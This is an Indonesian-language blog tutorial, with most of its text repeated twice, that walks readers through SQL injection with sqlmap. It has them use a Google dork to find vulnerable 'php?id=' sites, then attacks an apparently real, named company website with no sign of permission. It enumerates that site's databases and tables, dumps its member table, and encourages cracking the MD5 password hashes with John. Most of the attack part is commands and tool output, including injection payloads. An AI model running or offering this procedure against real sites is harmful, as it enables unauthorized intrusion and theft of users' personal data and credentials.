Hallo pembaca setia. Kali ini saya mau share tentang eksploitasi database bermodal << back | track. Saat ini banyak sekali aplikasi web yang menggunakan database sebagai data manager, selain mudah dalam menganalogikanny dengan script PHP, database juga relatif mudah dioperasikan. Tapi database juga memiliki kelemahan dalam pertahanan dan sekuritasnya. Makanya eksploitasi database relatif mudah dilakukan.
Konsepnya adalah assessment, mapping, lalu auditing. Klasiknya dengan memanfaatkan Mantra untuk menjajal payload database yang kira-kira cocok. Mudahnya dengan menggunakan SQLMap untuk menentukan payload yang bisa digunakan untuk eksploitasi database.
Ribet ya? OK. Let's kicking ass!!!
Yang diperlukan:
inurl:"php?id="
Lalu "Enter", dan beberapa website dengan embel-embel URL "php?id=" akan tampil. Pilih salah satu kemudian buka websitenya. Tekan CTRL + L lalu CTRL + C, ini berfungsi untuk mengkopi semua isi URL pada address bar. Lanjut, buka terminal, lalu ikuti modul berikut:
root@bt:~# cd /pentest/database/sqlmap/
root@bt:/pentest/database/sqlmap# ./sqlmap.py --help
sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
Usage: python ./sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-d DIRECT Direct connection to the database
-u URL, --url=URL Target url
[snip...]
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
[snip...]
Setelah itu kita dapat mengetahui command dasar untuk menggunakan sqlmap, mulailah bereksplorasi (= Kali ini saya menggunakan website:
Lalu saya menggunakan perintah ini untuk mengeksploitasi database website ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" --dbs
Keterangan:
-o untuk mengoptimasi kerja sqlmap
--url adalah target URL yang akan dieksploitasi
--dbs adalah untuk memunculkan nama database yang ada
Berikut hasilnya:
---
Place: GET
Parameter: subnav
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: subnav=17 AND 4747=4747
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: subnav=17 AND SLEEP(5)
---
[21:11:21] [INFO] manual usage of GET payloads requires url encoding
[21:11:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[snip...]
available databases [3]:
[*] admesteler_esteler77
[*] information_schema
[*] test
[21:11:21] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:11:21
Ada 3 database yang ada, yaitu:
[*] admesteler_esteler77
[*] information_schema
[*] test
Lalu untuk melihat tabel dari sebuah database, saya menggunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 --tables
Keterangan:
-D adalah nama database yang akan dienumerasi
--tables adalah opsi untuk menampilkan table pada database yang tadi sudah kita tentukan
Hasilnya:
Database: admesteler_esteler77
[25 tables]
+------------------+
| tblactivemember |
| tbladministrator |
| tblbanner |
| tblconfig |
| tblfranchisee |
| tblimagemenu |
| tblinbox |
| tbllocation |
| tblmailque |
| tblmailsubscribe |
| tblmailtemplate |
| tblmember |
| tblmenu |
| tblmenuwidget |
| tblnews |
| tblnewsletter |
| tbloutlet |
| tblproduct |
| tblpromo |
| tblreport |
| tblstaticpage |
| tblsubject |
| tblupload |
| tblvacancy |
| tblwidget |
+------------------+
[21:15:30] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:15:30
Terlihat ada 25 tabel yang berhasil dienumerasi. Jika kamu mau menampilkan colom pada suatu tabel, maka gunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --columns
Hasilnya:
Database: admesteler_esteler77
Table: tblmember
[11 columns]
+------------+---------------+
| Column | Type |
+------------+---------------+
| address | text |
| banned | tinyint(1) |
| datejoin | int(11) |
| email | varchar(50) |
| gender | enum('M','F') |
| id | int(11) |
| name | varchar(100) |
| newsletter | tiny`nt(1) |
| pass | varchar(33) |
| picurl | varchar(200) |
| point | int(11) |
+------------+---------------+
[21:18:02] [WARNING] HTTP error codes detected during testing:
403 (Forbidden) - 1 times
[21:18:02] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:18:02
Ada sedikit error, tapi tak apa laaah (= Masih ketauan kok nama kolomnya. Liat tuh ada id dan pass! Lalu gimana cara untuk menampilkan data pada suatu tabel beserta kolomnya? Saya menggunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --dump
Keterangan:
--dump untuk mengumpulkan data pada suatu tabel.
Outputnya:
Tuh udah ada password-nya, tinggal siapin dictionary buat crack md5-nya dengan John. Selamat bereksplorasi (=
Written By
Supporters:
Red Dragon
Konsepnya adalah assessment, mapping, lalu auditing. Klasiknya dengan memanfaatkan Mantra untuk menjajal payload database yang kira-kira cocok. Mudahnya dengan menggunakan SQLMap untuk menentukan payload yang bisa digunakan untuk eksploitasi database.
Ribet ya? OK. Let's kicking ass!!!
Yang diperlukan:
- SQLMap download di sini.
Lalu "Enter", dan beberapa website dengan embel-embel URL "php?id=" akan tampil. Pilih salah satu kemudian buka websitenya. Tekan CTRL + L lalu CTRL + C, ini berfungsi untuk mengkopi semua isi URL pada address bar. Lanjut, buka terminal, lalu ikuti modul berikut:
root@bt:~# cd /pentest/database/sqlmap/
root@bt:/pentest/database/sqlmap# ./sqlmap.py --help
sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
Usage: python ./sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-d DIRECT Direct connection to the database
-u URL, --url=URL Target url
[snip...]
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
[snip...]
Setelah itu kita dapat mengetahui command dasar untuk menggunakan sqlmap, mulailah bereksplorasi (= Kali ini saya menggunakan website:
http://www.esteler77.com/product.php?subnav=14&subs=18
Lalu saya menggunakan perintah ini untuk mengeksploitasi database website ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" --dbs
Keterangan:
-o untuk mengoptimasi kerja sqlmap
--url adalah target URL yang akan dieksploitasi
--dbs adalah untuk memunculkan nama database yang ada
Berikut hasilnya:
---
Place: GET
Parameter: subnav
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: subnav=17 AND 4747=4747
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: subnav=17 AND SLEEP(5)
---
[21:11:21] [INFO] manual usage of GET payloads requires url encoding
[21:11:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[snip...]
available databases [3]:
[*] admesteler_esteler77
[*] information_schema
[*] test
[21:11:21] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:11:21
Ada 3 database yang ada, yaitu:
[*] admesteler_esteler77
[*] information_schema
[*] test
Lalu untuk melihat tabel dari sebuah database, saya menggunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 --tables
Keterangan:
-D adalah nama database yang akan dienumerasi
--tables adalah opsi untuk menampilkan table pada database yang tadi sudah kita tentukan
Hasilnya:
Database: admesteler_esteler77
[25 tables]
+------------------+
| tblactivemember |
| tbladministrator |
| tblbanner |
| tblconfig |
| tblfranchisee |
| tblimagemenu |
| tblinbox |
| tbllocation |
| tblmailque |
| tblmailsubscribe |
| tblmailtemplate |
| tblmember |
| tblmenu |
| tblmenuwidget |
| tblnews |
| tblnewsletter |
| tbloutlet |
| tblproduct |
| tblpromo |
| tblreport |
| tblstaticpage |
| tblsubject |
| tblupload |
| tblvacancy |
| tblwidget |
+------------------+
[21:15:30] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:15:30
Terlihat ada 25 tabel yang berhasil dienumerasi. Jika kamu mau menampilkan colom pada suatu tabel, maka gunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --columns
Hasilnya:
Database: admesteler_esteler77
Table: tblmember
[11 columns]
+------------+---------------+
| Column | Type |
+------------+---------------+
| address | text |
| banned | tinyint(1) |
| datejoin | int(11) |
| email | varchar(50) |
| gender | enum('M','F') |
| id | int(11) |
| name | varchar(100) |
| newsletter | tiny`nt(1) |
| pass | varchar(33) |
| picurl | varchar(200) |
| point | int(11) |
+------------+---------------+
[21:18:02] [WARNING] HTTP error codes detected during testing:
403 (Forbidden) - 1 times
[21:18:02] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.esteler77.com'
[*] shutting down at: 21:18:02
Ada sedikit error, tapi tak apa laaah (= Masih ketauan kok nama kolomnya. Liat tuh ada id dan pass! Lalu gimana cara untuk menampilkan data pada suatu tabel beserta kolomnya? Saya menggunakan perintah ini:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -o --url="http://www.esteler77.com/product.php?subnav=14&subs=18" -D admesteler_esteler77 -T tblmember --dump
Keterangan:
--dump untuk mengumpulkan data pada suatu tabel.
Outputnya:
Tuh udah ada password-nya, tinggal siapin dictionary buat crack md5-nya dengan John. Selamat bereksplorasi (=
Written By
Blue Dragon
Supporters:
Red Dragon
Comments
Post a Comment